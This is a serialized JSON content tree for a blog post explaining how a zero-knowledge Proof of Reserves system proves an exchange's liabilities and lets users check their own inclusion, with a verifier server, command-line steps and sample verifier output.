:95930,"children":95932},{"className":95931},[3753,21328],[95933],{"type":29,"value":2033},{"type":24,"tag":83,"props":95935,"children":95937},{"className":95936},[3753,21328],[95938],{"type":29,"value":92751},{"type":24,"tag":83,"props":95940,"children":95942},{"className":95941},[3753,21328],[95943],{"type":29,"value":21470},{"type":24,"tag":83,"props":95945,"children":95947},{"className":95946,"style":92760},[3753],[95948],{"type":29,"value":2827},{"type":24,"tag":83,"props":95950,"children":95952},{"className":95951},[3753,21328],[95953],{"type":29,"value":25},{"type":24,"tag":83,"props":95955,"children":95957},{"className":95956,"style":92760},[3753,21328],[95958],{"type":29,"value":93579},{"type":24,"tag":83,"props":95960,"children":95962},{"className":95961},[3753,21328],[95963],{"type":29,"value":3482},{"type":24,"tag":83,"props":95965,"children":95967},{"className":95966},[3753,21328],[95968],{"type":29,"value":93590},{"type":24,"tag":83,"props":95970,"children":95972},{"className":95971},[21457],[95973],{"type":29,"value":1161},{"type":24,"tag":83,"props":95975,"children":95977},{"className":95976},[3753,21328],[95978],{"type":29,"value":2033},{"type":24,"tag":83,"props":95980,"children":95982},{"className":95981},[3753,21328],[95983],{"type":29,"value":92751},{"type":24,"tag":83,"props":95985,"children":95987},{"className":95986},[3753,21328],[95988],{"type":29,"value":21470},{"type":24,"tag":83,"props":95990,"children":95992},{"className":95991,"style":92760},[3753],[95993],{"type":29,"value":2827},{"type":24,"tag":83,"props":95995,"children":95997},{"className":95996},[3753,21328],[95998],{"type":29,"value":56117},{"type":24,"tag":83,"props":96000,"children":96002},{"className":96001},[3753,21328],[96003],{"type":29,"value":93019},{"type":24,"tag":83,"props":96005,"children":96007},{"className":96006},[3753,21328],[96008],{"type":29,"value":50848},{"type":24,"tag":83,"props":96010,"children":96012},{"className":96011},[21479],[96013],{"type":29,"value":15151},{"type":29,"value":6204},{"type":24,"tag":2040,"props":96016,"children":96017},{},[96018],{"type":29,"value":96019},"(verifies if all asset prices are the same)",{"type":24,"tag":67,"props":96021,"children":96022},{},[96023,96402,96403],{"type":24,"tag":32,"props":96024,"children":96026},{"className":96025},[3726,3727],[96027],{"type":24,"tag":83,"props":96028,"children":96030},{"className":96029},[3732],[96031],{"type":24,"tag":83,"props":96032,"children":96034},{"className":96033,"ariaHidden":1237},[3737],[96035,96116],{"type":24,"tag":83,"props":96036,"children":96038},{"className":96037},[3742],[96039,96043,96048,96053,96058,96063,96068,96073,96078,96083,96088,96093,96098,96103,96107,96112],{"type":24,"tag":83,"props":96040,"children":96042},{"className":96041,"style":94173},[3747],[],{"type":24,"tag":83,"props":96044,"children":96046},{"className":96045},[3753,21328],[96047],{"type":29,"value":50848},{"type":24,"tag":83,"props":96049,"children":96051},{"className":96050,"style":92760},[3753,21328],[96052],{"type":29,"value":94185},{"type":24,"tag":83,"props":96054,"children":96056},{"className":96055,"style":94189},[3753,21328],[96057],{"type":29,"value":88397},{"type":24,"tag":83,"props":96059,"children":96061},{"className":96060,"style":92772},[3753,21328],[96062],{"type":29,"value":92775},{"type":24,"tag":83,"props":96064,"children":96066},{"className":96065},[3753,21328],[96067],{"type":29,"value":51169},{"type":24,"tag":83,"props":96069,"children":96071},{"className":96070,"style":92760},[3753],[96072],{"type":29,"value":2827},{"type":24,"tag":83,"props":96074,"children":96076},{"className":96075},[3753,21328],[96077],{"type":29,"value":21470},{"type":24,"tag":83,"props":96079,"children":96081},{"className":96080},[3753,21328],[96082],{"type":29,"value":94217},{"type":24,"tag":83,"props":96084,"children":96086},{"className":96085,"style":92760},[3753],[96087],{"type":29,"value":2827},{"type":24,"tag":83,"props":96089,"children":96091},{"className":96090},[3753,21328],[96092],{"type":29,"value":94228},{"type":24,"tag":83,"props":96094,"children":96096},{"className":96095},[3753,21328],[96097],{"type":29,"value":10399},{"type":24,"tag":83,"props":96099,"children":96101},{"className":96100},[3753,21328],[96102],{"type":29,"value":84058},{"type":24,"tag":83,"props":96104,"children":96106},{"className":96105,"style":3931},[3833],[],{"type":24,"tag":83,"props":96108,"children":96110},{"className":96109},[3936],[96111],{"type":29,"value":8320},{"type":24,"tag":83,"props":96113,"children":96115},{"className":96114,"style":3931},[3833],[],{"type":24,"tag":83,"props":96117,"children":96119},{"className":96118},[3742],[96120,96124,96129,96134,96139,96144,96149,96154,96159,96164,96169,96226,96231,96235,96240,96245,96302,96307,96311,96316,96321,96325,96330,96335,96397],{"type":24,"tag":83,"props":96121,"children":96123},{"className":96122,"style":3854},[3747],[],{"type":24,"tag":83,"props":96125,"children":96127},{"className":96126,"style":21329},[3753,21328],[96128],{"type":29,"value":21332},{"type":24,"tag":83,"props":96130,"children":96132},{"className":96131},[3753,21328],[96133],{"type":29,"value":92714},{"type":24,"tag":83,"props":96135,"children":96137},{"className":96136},[3753,21328],[96138],{"type":29,"value":3482},{"type":24,"tag":83,"props":96140,"children":96142},{"className":96141},[3753,21328],[96143],{"type":29,"value":70279},{"type":24,"tag":83,"props":96145,"children":96147},{"className":96146},[3753,21328],[96148],{"type":29,"value":92730},{"type":24,"tag":83,"props":96150,"children":96152},{"className":96151},[3753,21328],[96153],{"type":29,"value":56117},{"type":24,"tag":83,"props":96155,"children":96157},{"className":96156},[21457],[96158],{"type":29,"value":558},{"type":24,"tag":83,"props":96160,"children":96162},{"className":96161},[3753,21328],[96163],{"type":29,"value":94228},{"type":24,"tag":83,"props":96165,"children":96167},{"className":96166},[3753,21328],[96168],{"type":29,"value":10399},{"type":24,"tag":83,"props":96170,"children":96172},{"className":96171},[3753],[96173,96178],{"type":24,"tag":83,"props":96174,"children":96176},{"className":96175},[3753,21328],[96177],{"type":29,"value":84058},{"type":24,"tag":83,"props":96179,"children":96181},{"className":96180},[3769],[96182],{"type":24,"tag":83,"props":96183,"children":96185},{"className":96184},[3774,21382],[96186,96215],{"type":24,"tag":83,"props":96187,"children":96189},{"className":96188},[3779],[96190,96210],{"type":24,"tag":83,"props":96191,"children":96193},{"className":96192,"style":92812},[3784],[96194],{"type":24,"tag":83,"props":96195,"children":96196},{"style":92816},[96197,96201],{"type":24,"tag":83,"props":96198,"children":96200},{"className":96199,"style":3794},[3793],[],{"type":24,"tag":83,"props":96202,"children":96204},{"className":96203},[3799,3800,3801,3802],[96205],{"type":24,"tag":83,"props":96206,"children":96208},{"className":96207},[3753,3802],[96209],{"type":29,"value":1166},{"type":24,"tag":83,"props":96211,"children":96213},{"className":96212},[21485],[96214],{"type":29,"value":21488},{"type":24,"tag":83,"props":96216,"children":96218},{"className":96217},[3779],[96219],{"type":24,"tag":83,"props":96220,"children":96222},{"className":96221,"style":92843},[3784],[96223],{"type":24,"tag":83,"props":96224,"children":96225},{},[],{"type":24,"tag":83,"props":96227,"children":96229},{"className":96228},[3865],[96230],{"type":29,"value":3868},{"type":24,"tag":83,"props":96232,"children":96234},{"className":96233,"style":3872},[3833],[],{"type":24,"tag":83,"props":96236,"children":96238},{"className":96237},[3753,21328],[96239],{"type":29,"value":94228},{"type":24,"tag":83,"props":96241,"children":96243},{"className":96242},[3753,21328],[96244],{"type":29,"value":10399},{"type":24,"tag":83,"props":96246,"children":96248},{"className":96247},[3753],[96249,96254],{"type":24,"tag":83,"props":96250,"children":96252},{"className":96251},[3753,21328],[96253],{"type":29,"value":84058},{"type":24,"tag":83,"props":96255,"children":96257},{"className":96256},[3769],[96258],{"type":24,"tag":83,"props":96259,"children":96261},{"className":96260},[3774,21382],[96262,96291],{"type":24,"tag":83,"props":96263,"children":96265},{"className":96264},[3779],[96266,96286],{"type":24,"tag":83,"props":96267,"children":96269},{"className":96268,"style":92812},[3784],[96270],{"type":24,"tag":83,"props":96271,"children":96272},{"style":92816},[96273,96277],{"type":24,"tag":83,"props":96274,"children":96276},{"className":96275,"style":3794},[3793],[],{"type":24,"tag":83,"props":96278,"children":96280},{"className":96279},[3799,3800,3801,3802],[96281],{"type":24,"tag":83,"props":96282,"children":96284},{"className":96283},[3753,3802],[96285],{"type":29,"value":3756},{"type":24,"tag":83,"props":96287,"children":96289},{"className":96288},[21485],[96290],{"type":29,"value":21488},{"type":24,"tag":83,"props":96292,"children":96294},{"className":96293},[3779],[96295],{"type":24,"tag":83,"props":96296,"children":96298},{"className":96297,"style":92843},[3784],[96299],{"type":24,"tag":83,"props":96300,"children":96301},{},[],{"type":24,"tag":83,"props":96303,"children":96305},{"className":96304},[3865],[96306],{"type":29,"value":3868},{"type":24,"tag":83,"props":96308,"children":96310},{"className":96309,"style":3872},[3833],[],{"type":24,"tag":83,"props":96312,"children":96314},{"className":96313},[3753],[96315],{"type":29,"value":509},{"type":24,"tag":83,"props":96317,"children":96319},{"className":96318},[3865],[96320],{"type":29,"value":3868},{"type":24,"tag":83,"props":96322,"children":96324},{"className":96323,"style":3872},[3833],[],{"type":24,"tag":83,"props":96326,"children":96328},{"className":96327},[3753,21328],[96329],{"type":29,"value":94228},{"type":24,"tag":83,"props":96331,"children":96333},{"className":96332},[3753,21328],[96334],{"type":29,"value":10399},{"type":24,"tag":83,"props":96336,"children":96338},{"className":96337},[3753],[96339,96344],{"type":24,"tag":83,"props":96340,"children":96342},{"className":96341},[3753,21328],[96343],{"type":29,"value":84058},{"type":24,"tag":83,"props":96345,"children":96347},{"className":96346},[3769],[96348],{"type":24,"tag":83,"props":96349,"children":96351},{"className":96350},[3774,21382],[96352,96386],{"type":24,"tag":83,"props":96353,"children":96355},{"className":96354},[3779],[96356,96381],{"type":24,"tag":83,"props":96357,"children":96359},{"className":96358,"style":92812},[3784],[96360],{"type":24,"tag":83,"props":96361,"children":96362},{"style":92816},[96363,96367],{"type":24,"tag":83,"props":96364,"children":96366},{"className":96365,"style":3794},[3793],[],{"type":24,"tag":83,"props":96368,"children":96370},{"className":96369},[3799,3800,3801,3802],[96371],{"type":24,"tag":83,"props":96372,"children":96374},{"className":96373},[3753,3802],[96375],{"type":24,"tag":83,"props":96376,"children":96378},{"className":96377},[3753,3802],[96379],{"type":29,"value":96380},"31",{"type":24,"tag":83,"props":96382,"children":96384},{"className":96383},[21485],[96385],{"type":29,"value":21488},{"type":24,"tag":83,"props":96387,"children":96389},{"className":96388},[3779],[96390],{"type":24,"tag":83,"props":96391,"children":96393},{"className":96392,"style":92843},[3784],[96394],{"type":24,"tag":83,"props":96395,"children":96396},{},[],{"type":24,"tag":83,"props":96398,"children":96400},{"className":96399},[21479],[96401],{"type":29,"value":2872},{"type":29,"value":6204},{"type":24,"tag":2040,"props":96404,"children":96405},{},[96406],{"type":29,"value":94548},{"type":24,"tag":67,"props":96408,"children":96409},{},[96410,96415,96416],{"type":24,"tag":2655,"props":96411,"children":96412},{},[96413],{"type":29,"value":96414},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":29,"value":6204},{"type":24,"tag":2040,"props":96417,"children":96418},{},[96419],{"type":29,"value":94832},{"type":24,"tag":25,"props":96421,"children":96422},{},[96423],{"type":29,"value":96424},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":24,"tag":25,"props":96426,"children":96427},{},[96428],{"type":24,"tag":2510,"props":96429,"children":96431},{"alt":2512,"src":96430},"/posts/por/recursive-circuit.png",[],{"type":24,"tag":51,"props":96433,"children":96435},{"id":96434},"global-proof-and-inclusion-proofs",[96436],{"type":29,"value":96437},"Global Proof and Inclusion Proofs",{"type":24,"tag":1818,"props":96439,"children":96440},{"id":9028},[96441],{"type":29,"value":96442},"Proving",{"type":24,"tag":25,"props":96444,"children":96445},{},[96446,96448,96454,96455,96461,96462,96468],{"type":29,"value":96447},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":24,"tag":32,"props":96449,"children":96451},{"className":96450},[],[96452],{"type":29,"value":96453},"merkle_tree.json",{"type":29,"value":568},{"type":24,"tag":32,"props":96456,"children":96458},{"className":96457},[],[96459],{"type":29,"value":96460},"final_proof.json",{"type":29,"value":6234},{"type":24,"tag":32,"props":96463,"children":96465},{"className":96464},[],[96466],{"type":29,"value":96467},"private_nonces.json",{"type":29,"value":96469}," files.",{"type":24,"tag":25,"props":96471,"children":96472},{},[96473],{"type":29,"value":96474},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":24,"tag":25,"props":96476,"children":96477},{},[96478,96480,96486,96488,96493],{"type":29,"value":96479},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":24,"tag":32,"props":96481,"children":96483},{"className":96482},[],[96484],{"type":29,"value":96485},"inclusion_proof_\u003Cid>.json",{"type":29,"value":96487},"). ",{"type":24,"tag":2655,"props":96489,"children":96490},{},[96491],{"type":29,"value":96492},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":29,"value":161},{"type":24,"tag":1818,"props":96495,"children":96497},{"id":96496},"verifying",[96498],{"type":29,"value":96499},"Verifying",{"type":24,"tag":25,"props":96501,"children":96502},{},[96503],{"type":24,"tag":2040,"props":96504,"children":96505},{},[96506],{"type":29,"value":96507},"Global Proof",{"type":24,"tag":25,"props":96509,"children":96510},{},[96511,96513,96518,96519,96524],{"type":29,"value":96512},"To verify the global proof, the code deserializes the ",{"type":24,"tag":32,"props":96514,"children":96516},{"className":96515},[],[96517],{"type":29,"value":96453},{"type":29,"value":37273},{"type":24,"tag":32,"props":96520,"children":96522},{"className":96521},[],[96523],{"type":29,"value":96460},{"type":29,"value":96525}," files and performs these checks:",{"type":24,"tag":63,"props":96527,"children":96528},{},[96529,96534,96539,96544,96570],{"type":24,"tag":67,"props":96530,"children":96531},{},[96532],{"type":29,"value":96533},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":24,"tag":67,"props":96535,"children":96536},{},[96537],{"type":29,"value":96538},"Verify the ZK final proof.",{"type":24,"tag":67,"props":96540,"children":96541},{},[96542],{"type":29,"value":96543},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":24,"tag":67,"props":96545,"children":96546},{},[96547,96549,96555,96557,96562,96563,96568],{"type":29,"value":96548},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":24,"tag":32,"props":96550,"children":96552},{"className":96551},[],[96553],{"type":29,"value":96554},"merkle_tree_hash",{"type":29,"value":96556}," public input. This ensures that the ",{"type":24,"tag":32,"props":96558,"children":96560},{"className":96559},[],[96561],{"type":29,"value":96453},{"type":29,"value":2287},{"type":24,"tag":32,"props":96564,"children":96566},{"className":96565},[],[96567],{"type":29,"value":96460},{"type":29,"value":96569}," are linked (they belong to the same global proof).",{"type":24,"tag":67,"props":96571,"children":96572},{},[96573],{"type":29,"value":96574},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":24,"tag":25,"props":96576,"children":96577},{},[96578],{"type":24,"tag":2040,"props":96579,"children":96580},{},[96581],{"type":29,"value":96582},"Inclusion Proof",{"type":24,"tag":25,"props":96584,"children":96585},{},[96586,96588,96593,96595,96600],{"type":29,"value":96587},"To verify the inclusion proof, the code deserializes the ",{"type":24,"tag":32,"props":96589,"children":96591},{"className":96590},[],[96592],{"type":29,"value":96485},{"type":29,"value":96594}," file and also the ",{"type":24,"tag":32,"props":96596,"children":96598},{"className":96597},[],[96599],{"type":29,"value":96460},{"type":29,"value":96601},". After that, it performs these checks:",{"type":24,"tag":63,"props":96603,"children":96604},{},[96605,96609,96614,96619],{"type":24,"tag":67,"props":96606,"children":96607},{},[96608],{"type":29,"value":96538},{"type":24,"tag":67,"props":96610,"children":96611},{},[96612],{"type":29,"value":96613},"Verify if the Merkle tree root is the same as in the final proof.",{"type":24,"tag":67,"props":96615,"children":96616},{},[96617],{"type":29,"value":96618},"Recalculate the user-related node leaf hash.",{"type":24,"tag":67,"props":96620,"children":96621},{},[96622],{"type":29,"value":96623},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":24,"tag":51,"props":96625,"children":96627},{"id":96626},"por-verifier-server",[96628],{"type":29,"value":96629},"PoR Verifier Server",{"type":24,"tag":25,"props":96631,"children":96632},{},[96633,96635,96641],{"type":29,"value":96634},"To automate the verification process, we created a ",{"type":24,"tag":2033,"props":96636,"children":96638},{"href":92271,"rel":96637},[2037],[96639],{"type":29,"value":96640},"verifier server",{"type":29,"value":96642}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":24,"tag":25,"props":96644,"children":96645},{},[96646],{"type":29,"value":96647},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":24,"tag":25,"props":96649,"children":96650},{},[96651],{"type":24,"tag":2510,"props":96652,"children":96654},{"alt":2512,"src":96653},"/posts/por/backpack-por.png",[],{"type":24,"tag":25,"props":96656,"children":96657},{},[96658],{"type":29,"value":96659},"Here is a breakdown of what fields represent and why they are required:",{"type":24,"tag":16422,"props":96661,"children":96662},{},[96663,96673,96683,96693,96703,96713],{"type":24,"tag":67,"props":96664,"children":96665},{},[96666,96671],{"type":24,"tag":2040,"props":96667,"children":96668},{},[96669],{"type":29,"value":96670},"Status",{"type":29,"value":96672}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":24,"tag":67,"props":96674,"children":96675},{},[96676,96681],{"type":24,"tag":2040,"props":96677,"children":96678},{},[96679],{"type":29,"value":96680},"Proof Timestamp",{"type":29,"value":96682}," --> when the proof was generated by the exchange.",{"type":24,"tag":67,"props":96684,"children":96685},{},[96686,96691],{"type":24,"tag":2040,"props":96687,"children":96688},{},[96689],{"type":29,"value":96690},"Verify Timestamp",{"type":29,"value":96692}," --> when the proof was verified by the PoR server.",{"type":24,"tag":67,"props":96694,"children":96695},{},[96696,96701],{"type":24,"tag":2040,"props":96697,"children":96698},{},[96699],{"type":29,"value":96700},"Proof File URL",{"type":29,"value":96702}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":24,"tag":67,"props":96704,"children":96705},{},[96706,96711],{"type":24,"tag":2040,"props":96707,"children":96708},{},[96709],{"type":29,"value":96710},"Prover Version",{"type":29,"value":96712}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":24,"tag":67,"props":96714,"children":96715},{},[96716,96721],{"type":24,"tag":2040,"props":96717,"children":96718},{},[96719],{"type":29,"value":96720},"File Hash (SHA256)",{"type":29,"value":96722}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":24,"tag":25,"props":96724,"children":96725},{},[96726],{"type":29,"value":96727},"Also, you can check the exchange's liabilities on the website:",{"type":24,"tag":25,"props":96729,"children":96730},{},[96731],{"type":24,"tag":2510,"props":96732,"children":96734},{"alt":2512,"src":96733},"/posts/por/backpack-por-liabilities.png",[],{"type":24,"tag":25,"props":96736,"children":96737},{},[96738,96740,96746,96748,96754],{"type":29,"value":96739},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":24,"tag":2033,"props":96741,"children":96744},{"href":96742,"rel":96743},"https://backpack.exchange/reserves",[2037],[96745],{"type":29,"value":96742},{"type":29,"value":96747}," and our verifier server for backpack at ",{"type":24,"tag":2033,"props":96749,"children":96752},{"href":96750,"rel":96751},"https://backpack-por.osec.io/",[2037],[96753],{"type":29,"value":96750},{"type":29,"value":161},{"type":24,"tag":51,"props":96756,"children":96758},{"id":96757},"self-verification",[96759],{"type":29,"value":96760},"Self-verification",{"type":24,"tag":25,"props":96762,"children":96763},{},[96764],{"type":29,"value":96765},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":24,"tag":1818,"props":96767,"children":96769},{"id":96768},"how-to-verify-if-i-was-included",[96770],{"type":29,"value":96771},"How to verify if I was included?",{"type":24,"tag":25,"props":96773,"children":96774},{},[96775],{"type":29,"value":96776},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":24,"tag":63,"props":96778,"children":96779},{},[96780,96791,96809],{"type":24,"tag":67,"props":96781,"children":96782},{},[96783,96790],{"type":24,"tag":2033,"props":96784,"children":96787},{"href":96785,"rel":96786},"https://github.com/otter-sec/por_v2/releases",[2037],[96788],{"type":29,"value":96789},"Download the PoRv2 executable from our github",{"type":29,"value":161},{"type":24,"tag":67,"props":96792,"children":96793},{},[96794,96796,96801,96802,96807],{"type":29,"value":96795},"Download the inclusion and the final proof files from the exchange (",{"type":24,"tag":32,"props":96797,"children":96799},{"className":96798},[],[96800],{"type":29,"value":96485},{"type":29,"value":2287},{"type":24,"tag":32,"props":96803,"children":96805},{"className":96804},[],[96806],{"type":29,"value":96460},{"type":29,"value":96808},") and put the files in the same directory as the PoRv2 app.",{"type":24,"tag":67,"props":96810,"children":96811},{},[96812,96814,96820],{"type":29,"value":96813},"Open the terminal and execute this: ",{"type":24,"tag":32,"props":96815,"children":96817},{"className":96816},[],[96818],{"type":29,"value":96819},"./plonky2_por verify-inclusion",{"type":29,"value":161},{"type":24,"tag":25,"props":96822,"children":96823},{},[96824],{"type":29,"value":96825},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":24,"tag":73,"props":96827,"children":96829},{"code":96828},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[96830],{"type":24,"tag":32,"props":96831,"children":96832},{"__ignoreMap":7},[96833],{"type":29,"value":96828},{"type":24,"tag":1818,"props":96835,"children":96837},{"id":96836},"how-can-i-verify-the-global-proof",[96838],{"type":29,"value":96839},"How can I verify the global proof?",{"type":24,"tag":25,"props":96841,"children":96842},{},[96843],{"type":29,"value":96844},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":24,"tag":63,"props":96846,"children":96847},{},[96848,96857,96875],{"type":24,"tag":67,"props":96849,"children":96850},{},[96851,96856],{"type":24,"tag":2033,"props":96852,"children":96854},{"href":96785,"rel":96853},[2037],[96855],{"type":29,"value":96789},{"type":29,"value":161},{"type":24,"tag":67,"props":96858,"children":96859},{},[96860,96862,96867,96868,96873],{"type":29,"value":96861},"Download the ",{"type":24,"tag":32,"props":96863,"children":96865},{"className":96864},[],[96866],{"type":29,"value":96453},{"type":29,"value":37273},{"type":24,"tag":32,"props":96869,"children":96871},{"className":96870},[],[96872],{"type":29,"value":96460},{"type":29,"value":96874}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":24,"tag":67,"props":96876,"children":96877},{},[96878,96880,96885],{"type":29,"value":96879},"Open the terminal and execute ",{"type":24,"tag":32,"props":96881,"children":96883},{"className":96882},[],[96884],{"type":29,"value":96819},{"type":29,"value":96886},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":24,"tag":25,"props":96888,"children":96889},{},[96890],{"type":29,"value":96891},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":24,"tag":73,"props":96893,"children":96895},{"code":96894},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[96896],{"type":24,"tag":32,"props":96897,"children":96898},{"__ignoreMap":7},[96899],{"type":29,"value":96894},{"type":24,"tag":25,"props":96901,"children":96902},{},[96903],{"type":29,"value":96904},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":24,"tag":73,"props":96906,"children":96908},{"code":96907},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[96909],{"type":24,"tag":32,"props":96910,"children":96911},{"__ignoreMap":7},[96912],{"type":29,"value":96907},{"type":24,"tag":51,"props":96914,"children":96915},{"id":28683},[96916],{"type":29,"value":18686},{"type":24,"tag":25,"props":96918,"children":96919},{},[96920],{"type":29,"value":96921},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":24,"tag":25,"props":96923,"children":96924},{},[96925,96927,96933],{"type":29,"value":96926},"We are currently working with Backpack to implement this algorithm ",{"type":24,"tag":2033,"props":96928,"children":96930},{"href":96742,"rel":96929},[2037],[96931],{"type":29,"value":96932},"in production",{"type":29,"value":96934}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":24,"tag":25,"props":96936,"children":96937},{},[96938,96940,96947],{"type":29,"value":96939},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":24,"tag":2033,"props":96941,"children":96944},{"href":96942,"rel":96943},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[2037],[96945],{"type":29,"value":96946},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":29,"value":161},{"title":7,"searchDepth":113,"depth":113,"links":96949},[96950,96951,96952,96953,96956,96961,96965,96966,96970],{"id":92199,"depth":113,"text":92202},{"id":92280,"depth":113,"text":92283},{"id":92350,"depth":113,"text":92353},{"id":92404,"depth":113,"text":92407,"children":96954},[96955],{"id":92483,"depth":128,"text":92486},{"id":92571,"depth":113,"text":92574,"children":96957},[96958,96959,96960],{"id":92644,"depth":128,"text":92647},{"id":93116,"depth":128,"text":93119},{"id":94855,"depth":128,"text":94858},{"id":96434,"depth":113,"text":96437,"children":96962},[96963,96964],{"id":9028,"depth":128,"text":96442},{"id":96496,"depth":128,"text":96499},{"id":96626,"depth":113,"text":96629},{"id":96757,"depth":113,"text":96760,"children":96967},[96968,96969],{"id":96768,"depth":128,"text":96771},{"id":96836,"depth":128,"text":96839},{"id":28683,"depth":113,"text":18686},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":96975,"isFeatured":16,"onBlogPage":16,"tags":96976,"body":96977,"_type":2606,"_id":2607,"_source":2608,"_file":2609,"_stem":2610,"_extension":2611},{"src":13,"width":14,"height":15},[18,19],{"type":21,"children":96978,"toc":99220},[96979,96989,96993,96997,97001,97005,97012,97328,97335,97874,97881,98565,98569,98573,98577,98581,98585,98589,98593,98602,98606,98628,98706,98715,98736,98748,98752,98756,98953,98987,98991,99001,99005,99015,99051,99061,99137,99147,99157,99163,99173,99180,99184,99194,99198,99202,99206,99216],{"type":24,"tag":25,"props":96980,"children":96981},{},[96982,96983,96988],{"type":29,"value":30},{"type":24,"tag":32,"props":96984,"children":96986},{"className":96985},[],[96987],{"type":29,"value":37},{"type":29,"value":39},{"type":24,"tag":25,"props":96990,"children":96991},{},[96992],{"type":29,"value":44},{"type":24,"tag":25,"props":96994,"children":96995},{},[96996],{"type":29,"value":49},{"type":24,"tag":51,"props":96998,"children":96999},{"id":53},[97000],{"type":29,"value":56},{"type":24,"tag":25,"props":97002,"children":97003},{},[97004],{"type":29,"value":61},{"type":24,"tag":63,"props":97006,"children":97007},{},[